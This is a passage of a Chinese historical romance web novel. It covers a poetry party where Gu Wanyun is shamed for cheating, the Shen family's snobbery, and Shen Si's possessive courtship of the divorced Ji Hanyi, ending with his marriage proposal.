在这么多人的目光下,顾婉云竟然还想着糊弄过去。
又看顾婉云越来越焦急的神色,季含漪还是抬起手,用茶水在身边小桌上写下了一行字。
顾宛云见着脸上一喜,又放下袖子看向站在面前的沈素仪。
她面上做出怡然自得的神情,含笑道:“刚才我倒是想起了一句。”
说着她开口:“绿天摇影上窗纱。”
沈素仪听罢眼神却淡了淡,中规中矩的一句,没什么出色的,就只是稍点头,应付一句:“用句雅致,倒是好句子。”
顾宛云脸上明显松了口气。
那头坐在瓶花旁的李漱玉就接了下一句:“风过疑闻漱玉槎。"
这诗化用了自己名字,旁边的姑娘都叫好。
又接连过了几句,沈素仪叫季含漪来收尾,季含漪未怎么思索:“声兼秋雨两三琵。”
林庄月就笑道:“季姐姐还是这般厉害,有景有情,妙啊。”
顾宛云听着屋内的赞叹声,刚才心里头升起的轻松自得,又在一瞬间跌入到了谷底。
她原以为她会是被众人赞叹的那个,却没想让季含漪出了风头。
还是说刚才季含漪故意给自己说的诗句平平无奇,她再好大展才华的。
季含漪注意到旁边顾宛云脸色不好,心里头已察觉到她在想什么。
她刚才的确并没有用心给顾宛云做开头,因为她是不想让顾宛云走一条不归路,往后难以收场。
她当即又与沈素仪与崔氏要告辞。
只是那头李漱玉却走过来看向顾宛云:“刚才听姐姐的诗果真妙极,要不姐姐再作一首诗再走吧,也当我们相交,赠我们当作情谊的。”
顾宛云被李漱玉拉到了中间,李漱玉眼神虽是笑吟吟的,但眼眸深处却是算计。
刚才顾宛云提袖的那幕,她总觉得有些不对。
这顾婉云看着木讷又眼神躲闪,举止有些怪异。
再有刚才她说让她作一首临别诗时,顾宛云眼底明显的闪过了一丝慌乱,就更印证了她的想法。
更有可能刚才那诗句都不是她对的,不然她又慌乱什么?
今日这诗会是切磋与取长补短,还有一起探讨,却是不能容得下弄虚作假的人。
这顾三姑娘从前也没听过这号人物,她出身侯府,也不怕得罪什么人。
顾宛云被拉到了中间,身边没了季含漪,脸色顿时变了变,其他人又往她身上看来,催着她作诗,顾宛云脸颊酡红,半句也说不上一句来。
她作诗本就不擅长,更何况现在被众人看着,身上紧张,脑中空白,什么都想不起来。
她看着那些围过来的怀疑的眼神,脸色惨白,忽的推开身边李漱玉,几乎是落荒而逃的往外跑出去了。
季含漪也没想到会出现这遭事情,她刚才本还在想怎么为顾宛云解围,顾宛云却忽然这般动作
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她与身边的沈素仪低低道:“表妹今日许是身子不舒服,我出去看看。”
沈素仪脸上却带着意味深长的笑,心里头已经什么都明白了。
刚才顾宛云那般动作神态,哪里像是会作诗的模样。
面前的季含漪她的确有几分佩服,但现在她也怀疑顾宛云作的那句诗是不是她作的了,刚才顾宛云的动作就有些奇怪,丝毫没有大方,小动作不断。
但她脸上淡淡笑了笑,没撕破体面,低声道:“既是这般,季姐姐也快去。”
季含漪走后,李漱玉走到沈素仪身边,说了季含漪给顾宛云**的猜测。
又问道:“那顾姑娘到底是个什么来历,怎么看着这般不上台面?”
沈素仪笑了笑不说话,听母亲说,祖母看中顾婉云,大抵想让那顾婉云做五叔的妻子。
母亲前些日子还在担忧,五叔将来娶妻后,祖母会偏心,将管家大权都交到五婶手上,连带着沈家这么大的家业也全交到五叔手里。
现在瞧着,那顾宛云半点当不起沈家的当家主母。
她看着身边李漱玉脸上那厌恶的神色,面上做出叹息的神色来:“这事不说了吧,往后也别在外头提。”
李漱玉却道:“刚才我本还有些欣赏那位季姑娘的,可她与那顾姑娘交好,想来品性也不过如此,往后我是不会与她结交的。”
林庄月听到李漱玉这话,忙上前来说:“妹妹莫要说这一竿子打死的话,我自小认识季姐姐,她最是温善好相与的人。”
“况且是顾姑娘做的事情,不该牵扯到季姐姐品性上头。”
李漱玉斜斜看了一眼林庄月:“你才与她相处过几回,你怎么就知道她不是这样的人?”
“我倒是想起了她家从前出的那事,她父亲**,害**边疆将领,也害**无数百姓,她父亲都如此,她又有什么好品性?”
林庄月脸色涨的通红,她虽说不知晓朝堂上的事情,不知道到底出了什么事,但那时候也听自己外祖父与父亲谈起过,外祖父一句季大人太冤,是时运不济,不得不死为皇上和朝廷挽留颜面,安抚百姓的时候,她那时候就觉得莫大的伤心。
伤心的她都含了泪。
她见过季大人的人,那般伟岸漂亮的男子,她还记得他,他当年有一日来的时候为自己带了一束海棠,她说季含漪喜欢,希望她与季含漪交好,喜欢季含漪。
那是明媚又耀眼的人。
李漱玉不管林庄月,又往身边的沈素仪问道:“最近谢家那事可是沸沸扬扬的,我听说她还和离了,可是真的?”
沈素仪淡笑:“的确是和离了。”
说着她眼里带着一股不易察觉的轻蔑:“说是那谢家大爷纳了妾室,她气不过就闹和离。”
李漱玉听了这话,当即便嘲讽的冷笑出声,斜斜看向林庄月:“你现在还维护么?我就说她品行不端,被夫家不要的女子,能是什么好的,往后顾家的姑娘和她,我是绝不会结交的。”
林庄月脸一白,咬牙道:“我不与你争,总之季姐姐在我心里便是好的。”
李漱玉冷淡笑了声。
第162章 不可能娶和离妇
这会儿屋内的气氛变得有些紧张了。
还是崔氏过来中间打了圆场:“前头绛雪轩里煮着茶呢,姑娘们先去吃茶。"
“茶具是前日里刚得的龙泉窑的梅子青,用的红泥小火炉,正慢火煮着呢,姑娘们别误了时候,吃不到时候正好的茶了。”
崔氏是沈府的大房的长孙媳,这场宴会虽说是沈素仪主持的,但却是崔氏办的,沈府这样的门第,姑娘们再怎么有些细小摩擦,崔氏过来说和,也都全歇下了,一起往绛雪轩去。
沈素仪与崔氏走在最后头,沈素仪不由问崔氏:“大嫂,那真是祖母看重的人?”
崔氏低声道:“婆母说老夫人很是看中顾家那位姑娘,是不是真瞧上了不知晓,但婆母今日一早叫我好生招待着那位顾三姑娘,谁知晓她竟那般没仪态的跑了。”
“毕竟是不光彩的事情,我也不方便去追。”
沈素仪脸上淡淡扬了个淡薄的笑意,声音很轻:“她倒是闹出好一个笑话。”
崔氏也淡淡笑道:“可不是,这般寻常的女子,往前沈府里可不会邀来,我刚才瞧着她听你们说话就都缩着脖子,明明什么都听不明白,却又要故作明白的模样便觉得好笑,真真一身的小家子气。”
“不怪刚才李二姑娘瞧不上她,我也是瞧不上的。”
沈素仪啧啧两声:“那模样确实好笑,不过也罢了,这样的人也不值得我们提起她,要不是因为祖母看重,我可懒得与她结交。”
崔氏便也没接话了,又道:“这事我得去婆母面前说一说,毕竟是婆母请来的贵客,不好叫人难堪,问问婆母怎么去安抚。”
沈素仪点点头:"那大嫂先去,绛雪轩那头有我在的。”
这头顾宛云含着泪一股脑的往前头跑出去,也不知道自己要去哪儿,就脑中发热,想要离刚才那让她丢脸的地方越远越好。
等到她反应过来后,也不知到底去了哪,正要回头,就又听见前头拐角处隐隐的说话声。
其中有一道声音她认出来了,那是在潇湘居里还亲热的挽着她的手,说话的沈府大房孙媳崔氏。
只听崔氏道:“我也没想到她闹出了这样一番笑话,非要去逞能,结果自个儿又没本事,还又自己跑了,寻常姑娘哪做的出她这样的事情?”
“出了这事,老太太那里怎么交代?”
崔氏的声音一落,一道冷淡的声音响起:“小门小户的能上什么台面?”
“之前抬举她,也是老太太觉得你五叔对那顾三姑娘有两分意思,老太太才看重的,结果是闹了场误会,五弟哪里能瞧上了她。”
“我就说,五弟的眼光怎么可能呢,这些年身边半个女子都没有,怎么就忽然对那顾家的那姑娘有意思了,还是个那般上不得台面的。”
“难怪呢,老太太今天叫我进去骂了我一场,老太太应该是上回就发现闹了误会了,我还自作主张的邀了顾家的来,可不是办坏了事情,被老太太骂一通也是不冤。”
这声音顾宛云也听出来了,是沈大夫人的声音。
崔氏好奇的问:“老太太为什么会误会?”
白氏便道:“这我也不清楚,说是那顾三姑娘生的像谁两分,到底是谁老太太也不愿说。”
崔氏就道:“这么说来,我刚才瞧着好似有两分像那位季姑娘。”
白氏淡淡道:“管她像谁,这会儿先去将顾家那个麻烦打发走,也真真是麻烦,你同我一块去。”
顾宛云脸色惨白的听着她们的话,浑身晃了晃,几乎不敢相信。
说话的声音渐渐远去,顾宛云站在大树后,眼神震惊慌乱,泪水又一瞬往下落下来。
难怪了,难怪为什么她会忽然会被沈府邀请。
可笑她为了得沈府的青睐逞能,却闹出这么大的笑话,让人这么奚落。
她浑浑噩噩的转身,好几个踉跄,都差点摔倒了下去。
李含漪看到顾宛云的时候,就见她一脸的泪光,眼眶通红。
季含漪见着顾宛云这般模样,也不想在这个时候落井下石,只是挡在顾宛云的面前低低提醒她:“这里还是沈府,旁边下人都往我们身上看,你哭着从潇湘居跑出来,难免更引人注目被随意猜测,不管刚才遇着了什么,我们从容些,当做什么也没发生的走。”
“我让婆子引着我们去你母亲那儿,再拜见了沈大夫人后我们就走。”
顾宛云这时候却全听不见季含漪的话了,就连刚才在潇湘居里丢脸的事情也不重要了。
她现在满脑子都是刚才她见到的话。
她抬起泪眼失神的看向季含漪,看着她自小都被人夸赞的脸庞。
小时候自
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己也很羡慕季含漪的,若是她生的如季含漪一样,如季含漪那般能够在沈府诗会上游刃有余,还会被人这般瞧不起么,会被她们说上不得台面么。
不知为什么,她心里忽然对季含漪腾生了一股怒气。
若是她刚才将自己拉住,让自己不被李漱玉拉到中间去,是不是也不会这么丢脸了。
可她若是用这个发泄,又显得她嫉妒无理取闹。
她自己知道自己是无理取闹,却忍不住朝着季含漪发泄出来:“你现在说这些有什么用?你刚才怎么不来我身边?你要在我身边,与我说了,我就能对出诗了,也不会丢脸了。”
季含漪眼色复杂的看着顾宛云的泪眼:“所有人都看着你,你让我怎么与你说?”
“我早与你说过的,这样的场合你不能应付。”
顾宛云紧紧捏着手,身上发颤,心里又生出一股无助又无力的恨来。
又听季含漪的声音:“你这会儿先别哭,先把泪擦干,你若不听我的,你就往旁边瞧瞧。”
顾宛云这才微微顿住,泪眼往旁边看去,就见着沈府站在旁边的婆子正神情轻蔑的看着她。
她的脸色顿时又一白,忽然明白季含漪话里的意思,她越是让旁人看了她这个样子,就越是在沈府丢人,越是被旁人看不起。
她已经够丢人了,不能再叫人看轻了。
顾宛云咬着牙,努力忍住了自己的泪光,帕子将泪都擦干,身上依旧在颤,跟着季含漪在婆子的引路下往沈大夫人那里去。
这次白氏的目光却主要放在了季含漪身上。
见着她背着光线与顾宛云规矩的往屋内进来,又站在她面前问安,安静的时候很难察觉着她,但一旦见了她人,便忍不住将目光放在她身上。
白氏抬着头,眼神已经将季含漪从上到下打量了个遍。
想起刚才儿媳来与她说的话,这会儿将季含漪通身这么一打量,人本就生的唇红齿白很是乖巧,且身段有致并不瘦弱,匀称有致的模样,脸庞像是被水滋润过得那般白净光滑和水灵,哪里又有半分曾为人妇的模样。
不过从前的季含漪她可能还会上心几分,但现在根本不足让她上心。
沈府是清正门第,五弟更是清贵人,老太太紧的如眼珠子一样的人,怎么能让五弟娶一个和离妇。
第163章 一刻没看住,就和别的男人说话
白氏现在对顾家的人,只剩下了赶紧打发的心思。
她淡淡笑了下站起来,虽说心里清楚刚才顾宛云在诗会上出的洋相,但这会儿白氏也没打算提。
毕竟她这种出身的,去冷嘲热讽顾家这种出身的这点子丢脸事情,也是失了体面。
老夫人让她还是要体面的好好将人都送出去,毕竟是她邀请来的人。
白氏脸上带着应付的笑来,对着张氏道:“瞧着顾三姑娘和季姑娘从诗会出来了,老夫人这会儿正小睡,我手头上也有些事情,怕款待不了了。”
张氏如何听不出来这是送客的意思,忙期期艾艾的应着。
她更看得出来白氏脸上那应付敷衍的神情,即便心里骂了一遍,却是不敢真的将白氏得罪了,还得强笑着道:“沈夫人客气了,我府里也还有事呢,上午也是抽了空闲来的,我们这时候也该回去了。”
白氏点点头,也没说挽留的话,便一起送出去。
这回白氏的脸上再没有上回的那种热情了,虽说走在旁边的,但脸上的那股客套与深宅高门贵妇的客套疏离体现的淋漓尽致,甚至于连眼神都不曾再往张氏和顾宛云身上看去一眼。
这态度张氏如何看不出来,却只能心里头憋着,得罪不起沈家这样的人家。
人家送到一半就回头说有事,让婆子去送,她还得脸上笑着说让白氏先去忙,不用送了。
这种卑微张氏自己也能感觉得出来,那是对身份高贵的人的一种无能为力,只是步伐匆匆的想要快些离开。
到了门口,季含漪正准备跟在舅母和顾宛云的身后上马车,却听到身后传来一道口哨声,季含漪微微顿了顿步子,回头就见着一身红衣的沈长龄坐在南角门上的墙头上朝着她笑。
季含漪心里顿了一下。
顾宛云也听着了口哨声,她回头也看过去,只见着墙上沈家小三爷那双亮晶晶的眼眸全都看在季含漪身上。
她失神片刻,泪眼看着季含漪侧脸,心底竟微微发抖。
为什么,又是为什么……
季含漪见着沈长龄,就回头与张氏低声道:“舅母稍等等我,我去与沈三公子说两句话,今日在诗会上的事情,或许能叫他帮忙说和一下。”
张氏也知晓了沈长龄的身份,看沈长龄像是与季含漪认识,听了季含漪这么说,忙也点头:“你去说说也好。”
季含漪往沈长龄面前走过去的时候,沈长龄已经又跳上了树枝,顺着树干跳了下来,站在季含漪的面前,笑吟吟的看她。
季含漪本以为沈长龄去军营了,却没想着他还在这儿等着。
季含漪问他:“你怎么在这儿?”
沈长龄笑道:"我还有句话没与你说呢。"
季含漪好奇:“什么话?”
沈长龄就道:“刚才五叔在那儿我不敢说,我是想问你,要我偷偷去给谢玉恒打一顿么?”
说着他唇边扬起丝笑意:“我可最擅长干这样的事情了。”
季含漪没想到沈长龄居然会这么说,便忙摇头:“我已经与谢家没有干系了,沈三公子不必为我做这些。”
说着季含漪看向沈长龄:“有一件事还请沈三公子帮忙解释一下。”
沈长龄一听季含漪有求的,便道:“你说。”
季含漪便将刚才诗会的事情简短的说了几句,又低低道:“今日诗会上的事情的确是有些突然,三妹妹身体不适扰了各位妹妹兴致,又走的匆忙,也未来得及与刚才各个姐妹赔罪告别,还请沈三公子与沈三姑娘说一说,今日事情本不是有意,若是有必要,下回我们再上府里来赔罪。”
又抬头看向沈长龄:“这件事也关乎声誉,也请沈三公子为我与三妹妹求情,别将事情宣扬出去,我与三妹妹定然感激不尽。”
虽说沈长龄看着好似不怎么靠谱,但沈长龄毕竟是沈素仪的嫡亲哥哥,说的话自然也是管用的。
沈长龄一听季含漪这话,不过这么点的小事,又见季含漪站在自己面前福礼,那眼眸垂着,白白净净的在斑驳树影里,素素静静的一身,谦卑又透着股坚韧来,让沈长龄在这一瞬看得愣了愣。
直盯着季含漪那秀挺的鼻尖瞧。
他忽想起刚才季含漪在潇湘居念诗的样子。
树上的落叶缓缓往下坠的时候,沈长
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龄回过了神,连忙道:“你放心,这事情不大,我待会儿就与三妹妹说,让她也给其他姑娘说一说,保证这事传不出去。”
季含漪听了这话便松了口气,总归顾宛云的名声大抵是保住了。
刚才那些姑娘都是簪缨世家,在京城姑娘里都是有着举足轻重的地位,她们在外头随口说的一句话,可能很快就要被流传开去,顾宛云如今还未出嫁,这种名声传开,对她来说很不利。
她轻轻与沈长龄道了谢谢。
沈长龄正要回应,又忽然察觉到股凉凉的视线,侧头一看,沈长龄蓦的被吓得浑身一凛。
视线朝着前看去,就见五叔正站在不远处,负着手,冷淡的眼神往他身上看过来,那脸上的神色冷的吓人,沈长龄都觉得自己快要被五叔的眼神给凌迟了千百遍。
又见五叔抬脚往这边走过来,沈长龄更是浑身汗**都起来了。
季含漪看着沈长龄忽然变化的脸色,后知后觉的顺着沈长龄的目光看过去,就见着了快走到跟前的沈肆。
现在季含漪看到沈肆也有些紧张,特别是见着他脸上那冷清幽深的眼睛时,总忍不住有点紧张。
正想时,沈肆已经走到了跟前,冷淡的眼神先是扫过旁边的沈长龄,再低低看在季含漪的脸庞上。
沈肆垂下的眼神尽数都在季含漪身上,眼前浮现的全是刚才季含漪站在沈长龄面前说话的样子。
她站在沈长龄面前,比站在自己面前近多了。
两人看起来好似聊的正好,要不是他来,他们还要说多久。
两人不过才认识几回,哪里有什么话可说的。
沈肆抿着唇,看着季含漪微微低垂的白净后颈,心里沉闷的堵着一口气,甚至还有一股升腾而起的躁郁。
这才一刻没看住,就和别的男人说话了。
季含漪被沈肆的目光看得很不安,那严肃的神情就仿佛她刚做了件天大的错事,不由微微紧张。
旁边的沈长龄也没比季含漪好半点,五叔脸上的神色黑的能**,他半个字都没敢开口。
终于沈肆开口了,问的是季含漪:“怎么不说了?”
第164章 五叔,我想娶季姑娘
季含漪听见沈肆的声音,那声音听起来沉沉的,好似有点不高兴。
她顶着压力抬头,就见着沈肆那垂下来压迫的黑眸,眼神还有些严厉,不由声音小了些:“说完了……”
沈肆看着季含漪这模样挑了挑眉,又瞟向旁边的沈长龄。
沈长龄看着五叔脸上的神情只觉得发毛,赶紧道:“真的说完了。”
沈肆点点头,又问:“刚才在说什么?”
季含漪也老老实实的说了。
沈肆侧头,看着季含漪的眸子,上回也是这般,铺子出了事不找他,非要找沈长龄,两人还同在一张榻上过,即便她怕他,难道他还比不得沈长龄更让她觉得亲近?
将来还是他的妻,万事不找他,找沈长龄有什么用。
沈肆心里抑着股恼,面上却不动声色的点头,让季含漪先回去。
季含漪抬头对上沈肆的眼睛,那深潭似的眼神看得季含漪心里微窒,又轻轻点头,转身回马车。
沈肆目送着季含漪走了,目光才看在沈长龄身上:“你如今倒是阳奉阴违。”
沈长龄有些不自在的挠头:“我就是想多见见季姑娘。”
沈肆淡淡看着沈长龄:“你用什么身份见她?你能自己做主?”
说着沈肆的眼神变冷:“下回我再看见你去招惹,反正你在京营也不上进,便说服你父亲,让你去下头卫营锻炼去。”
沈长龄听了五叔的话心里兜的一凉,忙抬头看向五叔,见着五叔要走,忽然急促的开口道:“我知晓我不能做主,所以五叔能不能帮我,帮我说服父亲,我想娶季姑娘。”
沈肆正欲要走的步子猛的一顿,回头看向沈长龄的脸。
沈长龄从前历来有些吊儿郎当和散漫的眼神难得带了点认真:“季姑娘会骑马,会投壶,会画画,还会刻章。”
“刚才我还听见了季姑娘学问比我三妹妹还厉害,对的诗也好听。”
“父亲总说我庸碌比不上我大哥,说我胸无点墨,说我只知晓斗鸡走马,对我失望。”
“可如果我娶了季姑娘,有季姑娘那般好的妻,我就能好好读书,就能好好在军营里历练挣功名了。”
“反正我早晚都要娶妻,我希望我能娶的是季姑娘。”
沈肆眯眼静静看着沈长龄,半晌开口:“京里家世好,有才情的会骑马投壶的女子还少了?”
沈长龄愣了愣,喃喃道:“有才情的没有季姑娘好看,有季姑娘好看的没有季姑娘性子好。”
“我就是想娶她,我说不出那般感觉,就是听说她和离了觉得她艰难,我想要帮她,想让她日子变得好起来。”
“其实我心里也喜欢季姑娘的。”
沈肆的脸色渐渐的变沉,它冷眼看向沈长龄,声音带着股冷:“即便你想娶她,即便我能说服你父亲,但你母亲能心甘情愿?你常在军营不回,你知道她在府里过什么日子?你能护住她?”
“你想让她的日子变得好?你连能在家族中说得上话的功名都没有,你用什么让她日子变好?”
沈长龄讷讷听着,脸上僵硬,半晌说不出话来。
沈肆看着沈长龄面色,往他面前走了一步,抿了下唇又看着他低低开口:“再有,她马上也要定亲,你真喜欢她,就别去找她给她惹麻烦。”
“不然我真让你离京。”
沈长龄震惊的看向沈肆:“季姑娘和谁定亲?”
沈肆看了沈长龄一眼:“你后面就会知晓,我也会和你上峰打招呼,往后再不能让你轻易告假,你这时候要还不回营里去,我叫你父亲来。”
沈肆说完这话,也没再看沈长龄一眼,直接从他面前走过,只留下沈长龄还在震惊中。
这头季含漪才上了马车,张氏便急忙的问:“说好了么?”
季含漪点头:“应该是没有什么问题的。”
张氏听到季含漪的的话,心里这才微微放心了一些,顾宛云的名声总算是保住了。
她刚才在马车内听到顾宛云的话,也觉得天塌了般。
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张氏还是忍不住看着顾婉云也恨铁不成钢的道:“你即便不会,可你怎么能就这么跑出去了呢?”
“你哪怕说你头疼糊弄过去,也比你直接跑出去的好不是?”
顾婉云脸色惨白,却忽然一下低头埋在双腿上,哭了出来。
又忽然抬头看向张氏喊出来:“即便我在诗会上对出来了,沈家的也一样不会瞧上我的。”
“她们其实一直都没瞧上过我!”
顾宛云从前一直是羞涩寡言的,从未这么大的声音吼过,这会儿忽然吼出来,让张氏也不禁愣了愣。
她又想起今日沈老夫人对她说的话,当即也不好再指责顾婉云了。
季含漪见着顾宛云的模样,知晓她心里或许想不开,便低声安慰:“你不用太担心这件事情,沈家三公子应下的,他应该会帮忙的。”
顾宛云听了季含漪的话,忽然红着眼睛抬头看向季含漪。
她眼里泪光莹莹,眼前模糊,可映入她眼帘的人,自小到大都是这样从容安静的模样。
那年季家出事,她来顾家的时候,姑母哭的昏死过去好几回,她却还一直默默的照顾着姑母。
她当初还想要安慰季含漪的,可即便那样的处境下,她在她面前也好似依旧比不上。
她好似并不需要别人的安慰,她沉默从容的接受现实,没有在她面前哭。
可是现在,即便她出了这么多变故,在她面前哭的人,还是自己。
她自小便羡慕她,羡慕她有那样好的父亲,羡慕她生的好看,羡慕每每她回来,众人的目光总是会落在她的身上,仿佛她站在那里,别人便会喜欢上她。
她以为季含漪和离后,自己总算在她面前有一点底气了,她以为自己终于可以不再那么默默无闻能扬眉吐气了,可她还是比不过,一辈子都比不过。
她口中叫沈三公子帮忙好似是随口的一句话,可那个人,却是她一辈子都难接触到的人。
顾宛云不说话,指尖却掐进手心。
第165章 想她,一天都等不得
回去后,季含漪先去母亲那里坐着说话,直到中午一起用了膳,才回了自己的屋子。
面前的长案上铺着画纸,季含漪想要画画静心,提着笔却依旧落不下笔,索性也不画了,坐在椅子上翻着书看。
雨后春日的下午光线明朗起来,透过窗户洒在她身上,便有些昏昏欲睡。
季含漪手上拿着书,翻了几页,连何时睡着的都不知晓,只知晓当醒来的时候,眼前是昏暗的灰麻,屋内空无一人,身上搭了件毯子,旁边还放着一盆炭火。
如今手头上的银两宽裕,她与母亲都怕冷,如今还是用着炭的。
炭火细细的啪啪声偶尔响一声,季含漪有些脑中昏沉的失神,又觉得口中发干,叫来容春来添茶。
容春就站在外头和春菊说话,听到季含漪的声音忙进来,见着季含漪醒了,忙过来点了烛火,又为季含漪斟了一杯她喜欢的桐花茶。
带着淡淡香味的茶香溢出来,季含漪低头饮了一口,又弯腰将掉落在旁边的书册捡起来,身上都软绵绵的,又靠着椅背又饮一口热茶。
身上微微暖了起来,她轻轻叹息了声。
但没过一会儿,天色尽黑下来的时候,沈肆来了,依旧在外面的马车内等她。
是文安来敲的门,季含漪出去的时候,文安就指着外头停着的马车,小声笑道:“季姑娘,我家大人在马车内等着的。“
季含漪看了看那夜色里的马车,想着今日才过了一日,沈肆就来问她了么。
其实季含漪是知晓自己大抵是想好了的。
她欠沈肆人情,如果真的能帮到他,她愿意帮的。
上了马车,依旧是那盏昏暗的**灯,沈肆依旧坐在暗色里,等到季含漪坐下后,沈肆才缓缓从暗色处坐直了身体。
他视线一寸寸落到季含漪身上,她身上带着早春带给她的妩媚,夜里松松挽起的素发,还有那白净晶莹的脸庞,娇娇气气白嫩乖巧的一张脸,都叫沈肆在她身上能体会到一股柔软的暖香,无论多紧绷的情绪,在她面前也能松懈下来。
沈肆问她:“药还有么?”
那药一日两副,沈肆上回给的匣子里二十个药包,现在还剩下六七个,还能吃两三日。
季含漪轻声嗯了一声:“还有的。”
她又抬头问:“那药有药方么?我想等吃完了,我自己再去配。”
沈肆挑眉看着季含漪,见着她看来的眸子亮莹莹的,在烛火中轻轻摇曳。
他道:“这是宫里太后平日里吃的补药,即便我给你药方,你也配不齐药材。”
说着沈肆又眼神低垂,示意季含漪看桌案上的匣子。
“你不必担心这个,我已经为你准备好了。”
季含漪低头看向桌上的匣子,即便没有打开,她也知晓里头的是什么。
季含漪又抬头看向沈肆。
她还未开口,沈肆低沉的声音就已经传来:“这药对我来说不算难事,你拿着便是。”
说着沈肆修长的指尖又拿起桌上的另外一个小木盒打开放在季含漪面前,沉黑的眸子看着她:“你爱吃的。”
季含漪看着沈肆手上的小盒里的糕点,感受到沈肆看在自己身上的目光,顿了顿,还是细声说了声谢谢。
她吃了一口,糕点软软的,不是很甜,但好吃极了,不由问沈肆:“这是什么糕点?”
沈肆淡笑,只道:"你喜欢,下次再拿给你。"
季含漪有些不好意思的看他:“不好总劳烦沈大人的。”
沈肆目光落在季含漪那唇边沾染上的白色粉末上,听着她细细声音,又看着她漂亮的眼眸:“外头买不到。”
一句话叫季含漪泄了气,再找不到什么话说,低着头又吃了一口。
季含漪连着吃了两块,很快那盒子里就只有一块了。
季含漪不好意思再吃了。
她正准备说点什么缓解她与沈肆之间的尴尬的时候,又一股淡淡沉香味传来,眸子回神,看到的就是沈肆送到她唇边的指尖。
他指间捏着糕点,那动作像是要喂她那般。
季含漪一愣,情不自禁的往后仰了仰,沈肆的手却又送了过来,声音好似还有一分含笑:“都是
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你的。”
季含漪根本招架不住,更不敢看沈肆此刻的眼神,小声道:“我……我自己来也行的。”
说着她从沈肆手上拿过来,紧张的鼻尖都生了层薄汗,眼神偏着,只盯着面前小案的一角。
沈肆看着季含漪的动作,无声中笑了笑。
他又看季含漪吃的有些急,一口就往嘴里塞,不由又倒了杯茶水递到她面前:“吃慢点。”
季含漪的确吃的有点急,就是被沈肆的眼神看着,不由动作就快了些,不想他见着自己吃东西的模样。
季含漪敷衍嗯了一声,从沈肆手里接过来茶水又赶忙喝了一口,只是哪想喝的稍急了些又被呛到,忙放下茶盏,用手帕捂在唇边咳。
季含漪闭着眼睛,羞耻的这时候已经不想再看沈肆一眼了,手指尖都在颤,浑身都在热。
脸颊被憋的通红,咳了好一会才缓了过来。
只是缓过神来后,季含漪视线微微一偏,忽见着身边一团阴影,稍稍一愣抬头,才发觉沈肆不知什么时候已经坐在了自己身边。
手还落在她后背上。
见着她看过去,沈肆低垂的黑眸看着她沙哑的问:“好些了么?”
这样窘迫的时候,季含漪脸庞发热,自暴自弃的嗯了一声:“好些了。”
沈肆看着季含漪带着红晕的脸庞,眼角眉梢都带着晕红,水润润的眼眸中水光湛然,乌发下的白净脸庞全是一股羞涩的春日美景。
沈肆的思绪渐渐往深,看季含漪的眼神也愈加晦暗,看得季含漪都忍不住想要后退。
沈肆察觉到季含漪的动作,在这只有两人的马车内,他食髓知味,时时想起,不由身体想要与她靠近。
又想起沈长龄上午的话,沈肆知晓自己半点都等不得了。
他甚至连两天都等不得,多等一天都等不得。
下午公办完便想要急急回来见她,仅见她一眼就够了。
沈肆伸手为季含漪唇边的那一点粉屑擦去,幽深的黑眸又看着她湛湛的杏眸,低哑道:“下次不用吃的这么着急,没人会与你抢。”
第166章 我愿嫁给沈大人
沈肆的指尖落到季含漪的唇边时,季含漪微微颤了颤,又恨不得此刻能找个地缝钻进去,垂着眼帘,只敷衍的点头,只看着袖口那只栩栩如生的云雀,又小声说了句:“也没抢……”。
沈肆此刻就坐在她身边,他身上的衣袍甚至还挨着她的,叫季含漪恨不得这时候能够下马车去。
沈肆余光看着季含漪的神情,见着她白净耳廓上的红晕,历来冷淡的眉眼笑了笑。
她身上窘迫的红晕,一如她身上柔软的香气,都叫人能够为她沉溺进去。
两人现在挨的极近,沈肆眼里的余光都在季含漪身上。
他的手指动了动,刚才碰在季含漪唇边的温度仿佛还残留在指尖。
季含漪又忽然想起了件事,朝着沈肆先开了口:“沈大人,那些药需要多少银子?”
季含漪说着就将带来的荷包拿了出来。
这荷包是母亲给她的,让她一定要将银子还回去,不能白白要沈肆这么贵重的东西。
沈肆沉眉看着季含漪的动作:“不用。”
季含漪却还是将手上的荷包放进了沈肆的手里。
季含漪觉得母亲说的没错,她现在手上宽裕,有许多银子了,还没到要被接济的时候,能自己承担的,便不该收受这些恩惠。
——-
柔软的指尖落到沈肆的掌心处,沈肆抿唇,抬头就见着季含漪正往他看来:“沈大人,我知晓这些银子于沈大人来说不多,但也是我的心意,我现在还能买的起药的,请沈大人一定要收下。”
说着季含漪又抬头轻声道:“沈大人,我要先走了。”
说着季含漪怕沈肆不愿要,拿着药盒就要先下马车。
只是她才刚伸手要掀帘子,一只手忽然将她的手腕握住,身后能感觉到一具温热的身体靠近,季含漪还没反应过来,身体就觉得被一道力道拉住,等到再反应过来的时候,身子几乎是被沈肆捏着手腕,按在了坐上。
她有些慌乱的抬头,对上的是沈肆含着汹涌波涛,又叫人心头生惧的眼神,沈肆本就是清冷的相貌,不笑的时候即便并没有生气,也带着两分吓人。
沈肆低头看着季含漪,长眉紧皱的问她:“就这么想与我撇清关系?”
季含漪被沈肆的话说的怔了怔,连忙摇头解释:“沈大人,我不是这个意思……”
“我只是觉得我欠沈大人的恩情太多……”
说着季含漪的声音有些小:“况且我现在已经有很多银子了……”
沈肆抿紧唇,看着季含漪缩在自己怀中的身子,又看着她那张微开的诱人的唇瓣,闻着她身上馨软的香气,沈肆没有如从前那般松开季含漪的手腕,反而捏的更加紧了紧。
纤细的手腕在手掌间太过于柔嫩娇小,他手背上忍出了青筋,身体里涌出他熟悉的悸动。
看着她带着一丝惧怕的眼神,沈肆低头紧紧看着她:“恩情?”
“我帮你便只为你的恩情,只为你给我的这点银子?”
说着沈肆眉眼微微沉寂,声音沙哑:“若是你不愿嫁给我,其实不用这般做的,我不会逼你。”
“你也不用这么着急的与我撇清关系。”
季含漪听了沈肆的话一愣,想着沈肆误会了她的意思,就连忙摇头解释:“我不是这个意思,我卖了铺子和画,还有上回沈大人为我从李明柔那儿得来的银子,手上的银子已经不少了,我能买的起母亲吃的药了。”
说着季含漪咬唇,烟水般的眼眸里有些难过的羞愧:“我只是觉得受之有愧,不能一直受沈大人的帮忙。”
沈肆看着季含漪那咬唇的模样,身体蓦的发紧,深吸了口气。
他旁的话已经并不在意了,他此刻只想再问她一句:“你愿嫁我么?”
季含漪微微一颤,抬头对上沈肆的眼睛。
沈肆看着季含漪眼中的茫然无措,看着点点烛光爬上她雅致如画的脸庞,他的心跳几乎窒息,却又徐徐善诱的沙哑开口:“含漪,你愿帮我么。”
“
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唯一只有你能帮我。”
“你母亲我会安顿好的,你什么都无需担心,一切有我。”
“你更不用担心后路,我护你往后荣华,聘礼尽数都在你名下。”
